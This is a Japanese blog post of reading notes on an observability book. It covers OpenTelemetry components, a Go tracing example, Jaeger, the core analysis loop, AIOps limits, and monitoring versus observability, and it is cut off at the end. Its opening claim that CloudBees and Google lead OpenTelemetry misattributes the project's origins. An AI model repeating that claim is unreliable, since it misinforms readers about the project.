Opentelemetry』という書籍の読書感想文のブログを書いたので合わせてぜひ読んでみてください。syu-m-5151.hatenablog.comOpenTelemetryの概要と重要性本書は、まずOpenTelemetryプロジェクトの概要を説明しています。OpenTelemetryは、CloudBeesとGoogleが主導するオープンソースプロジェクトで、ベンダーに依存しない一貫した方法でテレメトリデータを収集するための単一の標準を作ることを目的としています。OpenTelemetryの主な目標は、アプリケーションの計装を簡素化し、ベンダーロックインを回避することです。 開発者は、OpenTelemetryのSDKとAPIを使って一度アプリケーションを計装するだけで、バックエンドのテレメトリシステムを柔軟に変更できます。これは、特定のベンダーのライブラリを使う場合と対照的です。また、OpenTelemetryは、分散トレーシング、メトリクス、ロギングの3つの主要なテレメトリ信号をサポートしています。これにより、エンドツーエンドの可観測性を実現し、アプリケーションの動作を包括的に理解することができます。本書は、OpenTelemetryを使う主な理由として、次の3つを挙げています。ベンダーロックインの回避テレメトリデータ収集の標準化複数のテレメトリ信号のサポートOpenTelemetryの主要コンポーネント次に、著者はOpenTelemetryの主要コンポーネントについて説明しています。OpenTelemetryは、以下の3つの主要コンポーネントで構成されています。OpenTelemetry API:計装コードを書くためのプログラミング言語固有のインターフェイス。OpenTelemetry SDK:APIの実装を提供し、テレメトリデータの収集、処理、エクスポートを行う。OpenTelemetry Collector:複数のソースからテレメトリデータを受信し、処理し、様々なバックエンドシステムにエクスポートするためのスタンドアロンサービス。OpenTelemetry APIは、ベンダーに依存しない一貫した方法でテレメトリデータを生成するためのプログラミング言語固有のインターフェイスを提供します。これにより、開発者は計装コードを一度書くだけで、バックエンドのテレメトリシステムを変更する際に、そのコードを変更する必要がなくなります。OpenTelemetry SDKは、APIの具体的な実装を提供し、OpenTelemetry Collectorなどのエクスポートサービスにデータを送信します。SDKは、サンプリング、フィルタリング、エンリッチメントなどの機能も提供します。OpenTelemetry Collectorは、複数のソースからテレメトリデータを収集し、それを処理して、様々なバックエンドシステムにエクスポートするためのスタンドアロンサービスです。Collectorは、OpenTelemetryの中心的なコンポーネントであり、データの収集、処理、エクスポートを分離することで、システムの柔軟性と拡張性を高めています。OpenTelemetryを使った計装の例本書は、OpenTelemetryを使ってGoアプリケーションを計装する具体的な例を示しています。まず、OpenTelemetry APIとSDKをインポートし、トレーサープロバイダを初期化します。次に、スパンを作成し、そこにアプリケーション固有の情報を追加していきます。スパンの作成と管理は、OpenTelemetry APIが提供するTracerオブジェクトを通して行います。コードの例では、HTTPハンドラ内でスパンを作成し、リクエストの属性をスパンに追加しています。また、別の関数を呼び出す際には、contextパッケージを使ってスパンのコンテキストを伝播させています。func handler(w http.ResponseWriter, r *http.Request) { // リクエストからコンテキストを取得 ctx := r.Context() // 新しいスパンを開始 ctx, span := tracer.Start(ctx, \\"hello\\") defer span.End() // リクエストの属性をスパンに追加 span.SetAttributes( semconv.HTTPMethodKey.String(r.Method), semconv.HTTPTargetKey.String(r.URL.Path), ) // 別の関数を呼び出す際に、スパンのコンテキストを渡す helloHandler(ctx)}この例では、OpenTelemetryが提供するセマンティック規則に従って、HTTPリクエストの属性をスパンに追加しています。これにより、システム間で一貫性のあるテレメトリデータを収集することができます。本書は、OpenTelemetryが提供する自動計装の機能についても触れています。自動計装機能を使えば、アプリケーションコードを変更することなく、一般的なライブラリやフレームワークからテレメトリデータを収集することができます。 これにより、計装の手間を大幅に減らすことができます。再三の紹介ではあるがCloud Observability in Actionを読んでいただければ嬉しいです。learning.oreilly.comテレメトリデータの可視化最後に、著者は収集したテレメトリデータを可視化する方法について説明しています。OpenTelemetryは、様々なバックエンドシステムにデータをエクスポートすることができます。本書は、Jaegarを使ってトレースデータを可視化する例を示しています。JaegarはOpenTelemetryに対応したオープンソースのトレーシングバックエンドで、トレース データを収集、保存、可視化するための機能を提供しています。Jaegarの Web UIを使えば、収集したトレースデータをさまざまな角度から探索することができます。例えば、特定のスパンを選択して、その詳細情報を表示したり、関連するスパンをハイライトしたりすることができます。また、トレースのパフォーマンスを分析するためのツールも提供されています。本書は、OpenTelemetryとJaegarを組み合わせることで、アプリケーションの動作を詳細に理解し、パフォーマンスのボトルネックを特定できると述べています。OpenTelemetryの重要性と今後の展望本章の結論として、OpenTelemetryがアプリケーションの計装において重要な役割を果たすと強調しています。OpenTelemetryは、ベンダーロックインを回避し、テレメトリデータ収集を標準化するためのオープンソースのインストルメンテーションフレームワークです。 それは、分散トレーシング、メトリクス、ロギングという3つの主要なテレメトリ信号をサポートし、エンドツーエンドの可観測性を実現します。OpenTelemetryの主要コンポーネントであるAPI、SDK、Collectorは、テレメトリデータの生成、収集、処理、エクスポートを柔軟かつ拡張可能な方法で行うための基盤を提供します。特に、Collectorは OpenTelemetryアーキテクチャの中心的な存在であり、様々なデータソースからのテレメトリデータを統合し、複数のバックエンドシステムにエクスポートすることを可能にします。本書は、OpenTelemetryを使った計装の具体的な例を示し、それがいかにアプリケーションの動作を理解するのに役立つかを説明しました。OpenTelemetryのAPIとSDKを使えば、アプリケーションに一貫した方法で計装を行うことができ、バックエンドのテレメトリシステムを柔軟に変更することができます。また、自動計装機能を使えば、アプリケーションコードに変更を加えることなく、一般的なライブラリやフレームワークからテレメトリデータを収集することができます。収集したテレメトリデータは、Jaegarなどのバックエンドシステムを使って可視化し、分析することができます。これにより、アプリケーションのパフォーマンスを詳細に理解し、ボトルネックを特定することができます。OpenTelemetryは、現代のクラウドネイティブアプリケーションにとって不可欠のツールになりつつあります。 それは、複雑で動的なマイクロサービスアーキテクチャを観測し、トラブルシューティングするためのデファクトスタンダードになる可能性を秘めています。OpenTelemetryの採用が進むことで、アプリケーションの可観測性が向上し、より信頼性の高いシステムを構築することができるでしょう。しかし、まだまだ自分で超えなきゃいけない山もいくつかあるのかぁって思っています。dev.henry.jpChapter 8. Analyzing Events to Achieve Observability「Chapter 8. Analyzing Events to Achieve Observability」は、オブザーバビリティを実現するためのイベント分析の方法と、従来のデバッグ手法との違いについて詳しく解説した章です。本書は、第一原理に基づいて客観的にシステムを理解することの重要性を強調し、コア分析ループを使ってイベントデータを効果的に分析する方法を提示しています。既知の条件からのデバッグ本書は、オブザーバビリティが登場する以前のデバッグ手法の特徴として、システムに関する知識に基づいて問題を特定していたことを指摘しています。熟練したエンジニアは、長年の経験で培った直感を頼りに、どこを見れば問題が見つかるかを知っています。しかし、これはシステムに対する深い理解があってこそ可能な手法であり、新しいメンバーがチームに加わったり、システムが大規模化・複雑化したりすると、すぐに限界に達してしまいます。インフラエンジニアとして、私自身もこのような状況を数多く経験してきました。新しいサービスのリリースや、システムの大規模な変更の際には、必ず予期せぬ問題が発生するものです。そのたびに、ログやメトリクスを頼りに、問題の原因を探り当てようと奮闘したことを思い出します。特に、マイクロサービスアーキテクチャの普及に伴い、システムの複雑性が飛躍的に高まった昨今では、単純なログの監視やダッシュボードの確認だけでは、問題の全容を掴むことが難しくなってきています。サービス間の依存関係が複雑に絡み合い、一つの障害が連鎖的に他のサービスに影響を及ぼすことも珍しくありません。著者も指摘しているように、ランブックの作成やダッシュボードのカスタマイズに多くの時間を費やすことは、もはや効率的とは言えません。モダンなシステムでは、同じ障害が二度と発生しないことが多いため、これらの努力は無駄になってしまうのです。 むしろ、そうした手作業の時間を、より本質的な問題の解決に充てるべきでしょう。第一原理に基づくデバッグ本書は、オブザーバビリティを実現するためには、イベントとして収集したテレメトリデータを第一原理に基づいて分析することが重要だと述べています。第一原理とは、他の仮定から演繹されていない基本的な仮定のことを指します。第一原理に基づいてデバッグするということは、システムを科学的に理解するための方法論に従うということです。 それは、何も仮定せず、何が確かに正しいのかを問い直すことから始まります。そして、その原理に基づいて仮説を立て、システムに関する観察によってその仮説を検証していくのです。これは、インフラエンジニアにとって非常に重要な考え方だと思います。私たちは、日々、複雑で予測不可能なシステムと向き合っています。その中で問題を解決するためには、因習や思い込みにとらわれることなく、常に原理原則に立ち返って考える姿勢が求められます。本書は、第一原理に基づくデバッグがオブザーバビリティの中核的な機能であると強調しています。システムの複雑さが増すにつれ、経験や直感に頼ったデバッグは非現実的になります。第一原理に基づくデバッグは、システムに精通していなくても問題を特定できる、体系的で再現性のある方法なのです。これは、チームの属人性を減らし、誰もが同じ品質でデバッグできるようにするためにも重要です。ベテランエンジニアの「勘」に頼るのではなく、誰もが同じプロセスを踏めば同じ結果が得られるようにしておくことが、チームの生産性と品質の向上につながります。コア分析ループの活用本書は、第一原理に基づくデバッグの具体的な方法として、コア分析ループを紹介しています。コア分析ループは、テレメトリデータから仮説を立て、データによってその仮説を検証するプロセスを繰り返すことで、複雑な問題の答えを体系的に導き出す方法です。Figure 8-1. The core analysis loop より引用コア分析ループは以下の4つのステップで構成されています。調査のきっかけとなった全体像から始める。これまでに分かっていることが正しいかを検証する。パフォーマンスの変化を引き起こしている可能性のあるディメンションを探す。何が起こっているのかを十分に理解できたかを判断し、できていなければ、次の出発点として現在のビューを絞り込み、ステップ3に戻る。これは、第一原理に基づくデバッグの基本であり、インフラエンジニアにとっても非常に有用な手法だと思います。利用可能なすべてのディメンションを繰り返し調べることで、システムに関する事前の知識がなくても、問題の原因となっているディメンションを特定することができます。実際、私自身もこの手法を用いて、複雑な障害の原因を突き止めたことがあります。あるとき、あるマイクロサービスのレスポンスタイムが突然悪化し、原因が全くわからないという事態に陥りました。そこで、コア分析ループを使って、関連するすべてのメトリクスを洗い出し、一つ一つ仮説を立てて検証していきました。結果として、原因はデータベースへの接続数の上限に達していたことだとわかりました。その問題自体は設定変更で簡単に解決できたのですが、重要なのは、事前にその可能性を予測していなかったにもかかわらず、コア分析ループを使って問題を特定できたことです。ただし、著者も指摘するように、この作業を人間だけで行うのは非常に時間がかかります。システムが大規模で複雑になればなるほど、調べるべきディメンションの数は膨大になります。オブザーバビリティツールは、このブルートフォース分析をできる限り自動化する必要があるのです。コア分析ループのブルートフォース部分の自動化コア分析ループは、大量のシステムノイズの中から重要なシグナルを客観的に見つけ出すための方法です。この作業を迅速に行うためには、マシンの計算能力を活用することが不可欠です。本書は、Honeycombの BubbleUp機能を例に、コア分析ループの自動化について説明しています。BubbleUpは、注目すべきパフォーマンスの領域を選択すると、その領域内外のすべてのディメンションの値を計算し、差分の割合で並べ替えて表示します。これにより、どのディメンションがパフォーマンスの異常に関与しているかが一目でわかるようになっています。ちなみに他の監視基盤でも同様にできるはずです。こうした自動化は、インフラエンジニアやSREの負担を大幅に軽減してくれます。私たちは、データの中から重要なパターンを見つけ出すことに集中でき、膨大な生データを手作業で処理する必要がなくなるのです。また、著者が指摘するように、この自動化には、オブザーバビリティの基本的な構成要素である、任意の幅を持つ構造化イベントが不可欠です。従来のメトリクスやログでは、データの粒度が粗すぎたり、コンテキストが不足していたりするため、自由自在な分析ができないのです。私自身、以前はメトリクスベースの監視ツールを使っていましたが、ある問題をきっかけにオブザーバビリティツールの導入を決めました。それは、あるマイクロサービスの障害が、別のサービスに連鎖的に影響を及ぼすという事案でした。メトリクスだけでは、どのサービスが原因で、どの順序で障害が伝播したのかを追跡することができませんでした。そこで、OpenTelemetryを使って各サービスをインストルメント化し、Jaegerでトレースデータを収集・可視化する環境を構築しました。すると、サービス間の呼び出し関係が一目瞭然になり、障害の原因を瞬時に特定できるようになったのです。まさに、オブザーバビリティの威力を実感した瞬間でした。AIOpsの誤ったアレ本書は、AIOps(運用のための人工知能)の過度な期待について警鐘を鳴らしています。AIOpsは、異常検知やアラートノイズの削減などの分野でオブザーバビリティと交差しますが、万能な解決策ではありません。AIによる異常検知は、「正常」なベースラインイベントと「異常」なイベントを比較するという概念に基づいています。しかし、頻繁にシステムの動作が変化するような環境では、AIが正しいベースラインを選択するのは非常に難しいのです。AIは、完全に正常な動作を異常と見なしたり、異常を正常と誤認したりする可能性があります。これは、インフラエンジニアとして痛感している問題です。私たちは、常に変化し続けるシステムを扱っています。新機能のリリースや設定変更など、日々のオペレーションが常に「異常」を生み出しているのです。そのような環境で、AIだけに頼って異常を検知することは現実的ではありません。むしろ、著者が述べているように、人間の知性とコンテキストの理解が不可欠だと思います。コンピューターにはデータを大量に処理して興味深いパターンを見つけ出すことを任せ、そのパターンが本当に問題を示しているのかを判断するのは人間の役割なのです。 これこそが、オブザーバビリティとコア分析ループの自動化において、人間とマシンの知性を融合させる最良の方法だと私も考えます。実際、私たちのチームでも、オブザーバビリティツールが検出した異常を、エンジニアが一つ一つ確認するプロセスを設けています。既存のAIと呼ばれる機構だけでなく、生成AIモデルによる分析結果も同様に、人間による検証が欠かせません。某かが問題と判断した事象の多くは、実は仕様変更や一時的なスパイクだったりするのです。そうした「偽陽性」を排除し、本当に対処が必要な問題にフォーカスするには、人間の判断が欠かせません。オブザーバビリティ実現のためのイベント分析本章の結論として、適切なテレメトリデータを収集することは、オブザーバビリティへの第一歩に過ぎないと強調しています。そのデータを第一原理に基づいて分析することで、複雑な環境におけるアプリケーションの問題を客観的かつ正確に特定することができるのです。 コア分析ループは、障害箇所を迅速に特定するための効果的な手法ですが、システムが複雑になるほど、人間が系統的に分析するのは時間がかかります。そこで、異常の原因を探る際には、非常に大きなデータセットから興味深いパターンを迅速に見つけ出すために、計算リソースを活用することができます。そのパターンを人間のオペレーターに提示し、必要なコンテキストに置いて調査の方向性を further示してもらうことで、マシンと人間の強みを最大限に活用し、システムのデバッグを迅速に進められるのです。オブザーバビリティシステムは、前章で学んだイベントデータに対してこの種の分析パターンを適用するように構築されています。 適切なデータと、そのデータを分析して迅速に答えを得るための手法の両方を理解することで、オブザーバビリティの真価を発揮することができるのです。インフラエンジニアとして、私はこの章で紹介されたコンセプトの多くを実践してきました。コア分析ループは、複雑な障害の原因を突き止めるための強力な武器であり、オブザーバビリティツールの自動化機能と組み合わせることで、その威力はさらに増します。また、人間とマシンの知性を適切に組み合わせることの重要性も、身をもって体験しています。AIには膨大なデータを高速に処理する能力がありますが、そこから意味のある洞察を引き出すには、人間の専門知識と判断力が必要不可欠なのです。私たちインフラエンジニアやSREは、システムの安定運用という重大な責務を負っています。そのためには、単に技術的なスキルだけでなく、システムを俯瞰的に捉え、本質的な問題を見抜く力が求められます。オブザーバビリティは、そのための強力な武器になると確信しています。本章で紹介された手法を実践することで、私たちは、システムの動作を深く理解し、問題の予兆を早期に検知し、障害の影響を最小限に抑えることができるようになるでしょう。それは、ユーザーに価値を届け続けるために、そして自らの成長のためにも、私たちに課せられた使命だと思うのです。Chapter 9. How Observability and Monitoring Come Together「Chapter 9. How Observability and Monitoring Come Together」は、オブザーバビリティとモニタリングの違いを明確にし、それぞれの適切な適用範囲と、両者が補完的に機能する方法について解説した章です。本書は、組織のニーズに応じて、オブザーバビリティとモニタリングを適切に組み合わせることの重要性を強調しています。モニタリングの適用範囲本書は、まずモニタリングの適用範囲について詳細に説明しています。モニタリングは、システムの状態を理解するための成熟した手法であり、何十年にもわたって洗練されてきました。当初の単純なメトリクスとRRD(Round-Robin Database)から、TSDB(Time Series Database)と精巧なタグ付けシステムへと進化を遂げてきたのです。モニタリングのベストプラクティスは広く知られており、特定のツールに特化したコミュニティを超えて理解されています。例えば、「人間がグラフを1日中見ている必要はなく、何か問題があればシステムが自動的に通知すべき」というのは、モニタリングの中核をなす広く受け入れられている考え方です。この意味で、モニタリングシステムは本質的にリアクティブです。既知の障害状態に反応して、人間に問題の発生を警告するのです。つまり、モニタリングは、既知の未知(known-unknowns)を検出するように最適化されているのです。この特性から、モニタリングは、アプリケーションコードよりも変更頻度が低く、予測可能なシステムの状態を理解するのに最適だと言えます。本書は、ここでいうシステムとは、ソフトウェアを実行するために必要な基盤、つまりインフラストラクチャやランタイムを指していると説明しています。オブザーバビリティの適用範囲一方、オブザーバビリティは、より能動的なアプローチを取ります。本書は、オブザーバビリティの実践では、エンジニアは常に本番環境のコードを監視し、異常や興味深い兆候を探るべきだと述べています。第8章で説明されているように、コア分析ループは、第一原理に基づくデバッグを可能にし、未知の未知(unknown-unknowns)を発見するように設計されています。つまり、オブザーバビリティは、システムよりも頻繁に、そしてより予測不可能な方法で変化する、開発中のソフトウェアの状態を理解するのに最適化されているのです。モニタリングとオブザーバビリティのツールには、異なるベストプラクティスと実装があり、異なる目的に役立ちます。システムとソフトウェアの違い本書は、システムとソフトウェアの違いについても詳しく説明しています。より伝統的な環境では、システムとソフトウェアの区別は明確でした。ベアメタルのインフラストラクチャがシステムであり、その上で動作するすべてがソフトウェアでした。しかし、モダンなシステムとその多くの高次の抽象化により、その区別はやや不明確になっています。ここでの定義に従えば、ソフトウェアとは、顧客に価値を提供する本番サービスを運用するために、アクティブに開発されているコードのことです。ソフトウェアは、ビジネスが市場の問題を解決するために実行したいものです。一方、システムとは、そのサービスを運用するために必要な、基盤となるインフラストラクチャとランタイムに関するすべてを包括する用語です。システムは、ビジネスがソフトウェアを実行するために必要なものです。この定義では、データベース(MySQLやMongoDBなど)、コンピュートとストレージ(コンテナや仮想マシンなど)、その他、ソフトウェアをデプロイして実行する前にプロビジョニングして設定する必要があるすべてのものが、システム(またはインフラストラクチャ)に含まれます。クラウドコンピューティングの世界では、これらの定義を明確にするのがやや難しくなっています。例えば、ソフトウェアを実行するために、Apache Kafkaのような基盤コンポーネントが必要だとします。もしそれらのコンポーネントへのアクセスをサービスとして購入するのであれば、それはインフラストラクチャとはみなされません。本質的に、他の誰かにそれを運用してもらうためにお金を払っているのです。しかし、自分たちでインストール、設定、時々のアップグレード、パフォーマンスのトラブルシューティングを行う必要があるのであれば、それは気にかける必要のあるインフラストラクチャなのです。ソフトウェアに比べて、システム層のすべては、変更頻度が低く、異なるユーザーセットに焦点を当て、異なる価値を提供するコモディティです。ソフトウェア、つまり顧客が使用するために書かれたコードは、ビジネスの中核を差別化するものです。それは、今日の企業が存在する理由そのものです。したがって、ソフトウェアには、管理方法に関する異なる考慮事項があります。以下は、システムとソフトウェアの間で異なる要因を比較しています。変更の頻度:システムではパッケージの更新が月単位であるのに対し、ソフトウェアではリポジトリへのコミットが日単位で行われます。予測可能性:システムは高い(安定している)のに対し、ソフトウェアは低い(多くの新機能がある)。ビジネスへの価値:システムは低い(コストセンター)のに対し、ソフトウェアは高い(収益の源泉)。ユーザー数:システムは少ない(内部チーム)のに対し、ソフトウェアは多い(顧客)。中核となる関心事:システムではシステムやサービスが健全かどうかであるのに対し、ソフトウェアでは各リクエストが適時かつ確実にエンドツーエンドの実行に必要なリソースを獲得できるかどうか。評価の視点:システムではシステム自体であるのに対し、ソフトウェアでは顧客。評価基準:システムでは低レベルのカーネルとハードウェアデバイスドライバであるのに対し、ソフトウェアでは変数とAPIエンドポイント。機能的責任:システムではインフラストラクチャの運用であるのに対し、ソフトウェアではソフトウェアの開発。理解の方法:システムではモニタリングであるのに対し、ソフトウェアではオブザーバビリティ。インフラストラクチャに関しては、管理チームの視点のみが重要です。インフラストラクチャについて問うべき重要な質問は、それが提供するサービスが本質的に健全かどうかということです。そうでない場合、そのチームは迅速に行動を起こし、インフラストラクチャを健全な状態に戻す必要があります。インフラストラクチャの健全性に影響を与える条件は、変化が少なく、比較的予測が容易です。実際、これらの問題を予測し(例:キャパシティプランニング)、自動的に修復する(例:オートスケーリング)ためのプラクティスはよく確立されています。その比較的予測可能でゆっくりと変化する性質のため、集約されたメトリクスは、システムレベルの問題の監視とアラートには完全に適しているのです。一方、アプリケーションコードでは、最も重要なのは顧客の視点です。基盤となるシステムは本質的に健全かもしれませんが、ユーザーリクエストはさまざまな理由で失敗する可能性があります。先行する章で説明したように、分散システムはこの種の問題の検出と理解を難しくしています。突然、高カーディナリティのフィールド(ユーザーID、ショッピングカートIDなど)を使って、特定の顧客の体験を観察する能力が重要になってきます。特に、継続的デリバリーのモダンな世界では、新しいバージョンのコードが常にデプロイされているため、ソフトウェアの関心事は常にシフトし、変化しています。オブザーバビリティは、これらの関心事に対処するための適切な質問をリアルタイムで行う方法を提供します。これら2つのアプローチは相互に排他的ではありません。すべての組織には、どちらかのカテゴリに当てはまる考慮事項があるでしょう。次に、組織のニーズに応じて、この2つのアプローチが共存する方法を見ていきます。組織のニーズの評価本書は、オブザーバビリティとモニタリングの適切なバランスを見出すには、組織のニーズを評価することが重要だと述べています。モニタリングは、システムレベルの関心事を理解するのに最適です。オブザーバビリティは、アプリケーションレベルの関心事を理解するのに最適です。どの関心事がビジネスにとって最も重要かを理解することが、組織自身のニーズを評価することなのです。オブザーバビリティは、自社で開発・出荷するソフトウェアが、顧客にサービスを提供する際にどのように機能しているかを深く理解するのに役立ちます。全体的に許容できるパフォーマンスを提供することに加えて、特定の注目すべき顧客セグメントに優れたサービスを提供することがビジネス戦略の中核である場合、オブザーバビリティの必要性は特に強調されます。一方、モニタリングは、そのソフトウェアをサポートするために運用しているシステムが、どの程度その役割を果たしているかを理解するのに役立ちます。メトリクスベースのモニタリングツールとそれに関連するアラートは、基盤となるシステムの容量限界や既知のエラー状態に達したことを知らせてくれます。IaaSプロバイダーのように、インフラストラクチャ自体を顧客に提供することがビジネスの中核である場合、DNSカウンター、ディスク統計など、相当量のモニタリングが必要になります。基盤となるシステムは、このような組織にとってビジネス上重要であり、顧客に公開するこれらの低レベルのシステムに精通している必要があるのです。しかし、インフラストラクチャの提供がビジネスの中核的な差別化要因ではない場合、モニタリングの重要性は相対的に低くなります。その場合、高レベルのサービスとエンドツーエンドのチェックのみを監視する必要があるかもしれません。ビジネスに必要なモニタリングの量を正確に判断するには、いくつかの考慮事項があります。自社のインフラストラクチャの大部分を運用している企業は、より多くのモニタリングを必要とします。オンプレミスでシステムを運用するか、クラウドプロバイダーを使用するかに関わらず、この考慮事項は、インフラストラクチャがどこにあるかというよりも、運用上の責任に関するものです。クラウドで仮想マシンをプロビジョニングするにしろ、オンプレミスでデータベースを管理するにしろ、重要な要因は、インフラストラクチャの可用性とパフォーマンスを保証する責任を自社のチームが負うかどうかなのです。ベアメタルシステムの運用責任を負う組織は、低レベルのハードウェアパフォーマンスを調べるモニタリングを必要とします。イーサネットポートのカウンター、ハードドライブのパフォーマンス統計、システムファームウェアのバージョンなどを監視する必要があります。ハードウェアレベルの運用をIaaSプロバイダーにアウトソースしている組織は、そのレベルで機能するメトリクスと集計を必要としないでしょう。そして、これはスタックのさらに上のレベルでも同様です。運用責任がサードパーティに移行されるにつれ、インフラストラクチャの監視の関心事も移行されていきます。ほとんどのインフラストラクチャを高レベルのPaaS(Platform-as-a-Service)プロバイダーにアウトソースしている企業は、従来のモニタリングソリューションをほとんど、あるいはまったく必要としないかもしれません。Heroku、AWS Lambdaなどは、本質的に、ビジネスが実行したいソフトウェアをサポートするために必要なインフラストラクチャの可用性とパフォーマンスを保証する仕事を請け負うために、料金を支払うことを可能にしているのです。今日、ユーザーのマイレージは、クラウドプロバイダーの堅牢性によって異なるかもしれません。おそらく、抽象化は十分にクリーンで高レベルなので、インフラストラクチャの監視への依存を取り除くという経験は、それほどフラストレーションを感じるものではないでしょう。しかし、理論的には、すべてのプロバイダーがそのシフトを可能にするモデルに移行しつつあります。例外として無視できないインフラストラクチャの監視システムのモニタリングとソフトウェアのオブザーバビリティのこの明確な区分には、いくつかの例外があります。先に述べたように、ソフトウェアのパフォーマンスを評価するための視点は、顧客体験です。ソフトウェアのパフォーマンスが遅い場合、顧客はそれを悪い体験と捉えます。したがって、顧客体験を評価する上での主要な関心事は、パフォーマンスのボトルネックを引き起こす可能性のあるものを理解することです。この明確な区分の例外は、ソフトウェアがその基盤となるインフラストラクチャとどのように相互作用しているかを直接示すメトリクスです。ソフトウェアの観点からは、一般的なモニタリングツールによって/procファイルシステムで発見された変数の何千ものグラフを見ることはほとんど、あるいはまったく価値がありません。電源管理やカーネルドライバに関するメトリクスは、低レベルのインフラストラクチャの詳細を理解するのに役立つかもしれませんが、ソフトウェアのパフォーマンスへの影響についてはほとんど有用な情報を示さないため、ソフトウェア開発者は日常的に無視します(そうあるべきです)。しかし、CPU使用率、メモリ消費量、ディスクアクティビティなどの高次のインフラストラクチャメトリクスは、物理的なパフォーマンスの制限を示します。ソフトウェアエンジニアとして、これらの指標を注意深く観察する必要があります。なぜなら、これらはコードによってトリガーされる問題の早期警戒シグナルになる可能性があるからです。例えば、新しいデプロイによって、数分以内にレジデントメモリの使用量が3倍になったことを知りたいはずです。新機能の導入直後にCPU消費量が2倍になったり、ディスク書き込みアクティビティが急増したりするのを見ることで、問題のあるコードの変更にすぐに気づくことができます。高次のインフラストラクチャメトリクスは、基盤となるインフラストラクチャがどの程度抽象化されているかによって、利用できる場合とできない場合があります。しかし、利用できる場合は、オブザーバビリティへのアプローチの一部としてそれらをキャプチャすることを強くお勧めします。ここでのモニタリングとオブザーバビリティの関係は、相関関係になります。パフォーマンスの問題が発生した場合、モニタリングを使用してシステムレベルの問題を素早く除外または確認することができます。したがって、システムレベルのメトリクスデータをアプリケーションレベルのオブザーバビリティデータと並べて表示することは有益です。一部のオブザーバビリティツール(HoneycombやLightstepなど)は、そのデータを共有のコンテキストで提示しますが、他のツールでは、その相関関係を確認するために別のツールやビューを使用する必要があるかもしれません。実際の適用例本書は、モニタリングとオブザーバビリティの共存パターンのいくつかの実例を紹介しています。ある企業では、オブザーバビリティへの移行により、Prometheus、Jaeger、従来のAPMツールの3つのシステムを、モニタリングシステムとオブザーバビリティシステムの2つに集約することができました。ソフトウェアエンジニアリングチームは主にオブザーバビリティを使用し、中央の運用チームはPrometheusを使ってインフラを監視しています。ソフトウェアエンジニアは、コードのリソース使用量の影響について質問がある場合、Prometheusを参照することができます。しかし、この必要性は頻繁ではなく、アプリケーションのボトルネックのトラブルシューティングにPrometheusを使用する必要はほとんどないと報告しています。別の企業は、比較的新しい会社で、グリーンフィールドのアプリケーションスタックを構築することができました。彼らのプロダクションサービスは、サーバーレス機能とSaaSプラットフォームを主に利用しており、独自のインフラはほとんど運用していません。最初から本当のインフラを持っていなかったため、モニタリングソリューションを自分の環境に適合させようとする道を歩み始めることはありませんでした。彼らは、アプリケーションのインストルメンテーションとオブザーバビリティに依存して、本番環境でのソフトウェアを理解しデバッグしています。また、そのデータの一部を長期的な集計とウェアハウジングのためにエクスポートしています。最後の例は、デジタルトランスフォーメーションを進める成熟した金融サービス企業です。彼らは、レガシーインフラとグリーンフィールドアプリケーションが混在する、大規模な異種混合環境を持っています。多くの古いアプリケーションはまだ運用されていますが、それらを最初に構築し、維持していたチームは、とっくに解散するか、会社の他の部署に再編成されています。多くのアプリケーションは、メトリクスベースのモニタリングとダッシュボード機能(オールインワンの商用ベンダーが提供)の組み合わせ、および非構造化ログを検索するためのさまざまなロギングツールを使って管理されています。安定して機能しているサービスのモニタリングアプローチを取り除き、再設計し、置き換えることで、ビジネスにはほとんど、あるいはまったく価値がもたらされないでしょう。その代わりに、グリーンフィールドアプリケーションは、モニタリング、ダッシュボード、ロギングの組み合わせを必要とする以前のアプローチではなく、オブザーバビリティのために開発されています。新しいアプリケーションが企業のインフラストラクチャを使用する場合、ソフトウェアエンジニアリングチームは、リソースの使用状況の影響を監視するためのインフラストラクチャメトリクスにもアクセスできます。しかし、一部のソフトウェアエンジニアリングチームは、リソース使用量とアプリケーションの問題を関連付けるために別のシステムを使用する必要性を減らすために、インフラストラクチャメトリクスをイベントにキャプチャし始めています。組織の責任に基づくオブザーバビリティとモニタリングのバランス本章の結論として、オブザーバビリティとモニタリングの共存バランスは、組織内で採用されているソフトウェアとインフラストラクチャの責任に基づいて決定されるべきだと強調しています。モニタリングは、システムの健全性を評価するのに最適であり、オブザーバビリティは、ソフトウェアの健全性を評価するのに最適です。 各ソリューションの必要性は、基盤となるインフラストラクチャの管理をどの程度サードパーティプロバイダーにアウトソースしているかによって異なります。ただし、CPU、メモリ、ディスクなど、ソフトウェアのパフォーマンスに直接影響を与える高次のインフラストラクチャメトリクスは例外です。これらのメトリクスは、オブザーバビリティアプローチの一部として取り込むべきです。本章では、モニタリングとオブザーバビリティを補完的に活用するいくつかの一般的なアプローチを示しました。 これらの考慮事項は、異なるチームによってどのように実装されているかを示す実世界の例だと言えます。オブザーバビリティの基礎を深く理解したところで、次のパートでは、オブザーバビリティの実践を成功裏に採用し、チーム全体でその採用を推進するために必要な文化的変化についても探ります。私自身、SREとしてモニタリングとオブザーバビリティの両方を活用した経験があります。従来のモニタリングツールは、インフラストラクチャの健全性を確保するために欠かせませんが、アプリケーションレベルの問題を理解し、デバッグするには不十分でした。オブザーバビリティの導入により、コードの動作を深く理解し、問題の根本原因をより迅速に特定できるようになりました。特に、CPUやメモリの使用率など、インフラメトリクスとアプリケーションの問題を関連付けることの重要性は、自身の経験からも強く実感しています。これらのメトリクスをオブザーバビリティイベントに取り込むことで、問題の全容をより素早く把握することができるようになりました。皆さんは、ご自身の組織において、オブザーバビリティとモニタリングをどのように組み合わせていますか?また、両者のバランスを取る上で、どのような課題に直面していますか?ぜひ、経験を共有しましょう。Part III. Observability for Teams本書の第3部では、異なるチーム間で観測可能性の採用を促進するのに役立つ、社会的・文化的慣行の変化についてを詳しく説明してくれています。Chapter 10. Applying Observability Practices in Your Team「Chapter 10. Applying Observability Practices in Your Team」は、オブザーバビリティの実践を自分のチームで始めるにあたって役立つヒントを提供する章です。万能のレシピは存在しないことを前提としつつ、これまでの経験から得られた有用なパターンやアプローチが複数紹介されています。具体的には、チームやプロジェクトの現状を正しく把握し、オブザーバビリティ導入の必要性と期待される効果を明確化することから始め、実装に向けては小さなスコープから着手し、限られた領域に集中して成功事例を積み重ねながら徐々に範囲を広げていくアプローチが提案されています。また、この章ではオブザーバビリティ実践の障壁となる潜在的な課題とその対処方法についても言及され、技術的な側面に加え、組織文化の変革や関係者間のコミュニケーション、教育の重要性が強調されています。読み進めるうちに、オブザーバビリティの導入は単なるツールの導入以上の作業であり、チーム全体で取り組む価値があるプロセスであることが明らかになり、この章を読めば、自分のチームに最適なオブザーバビリティ実践の方法を見出すための手がかりが得られます。この辺からというかPart 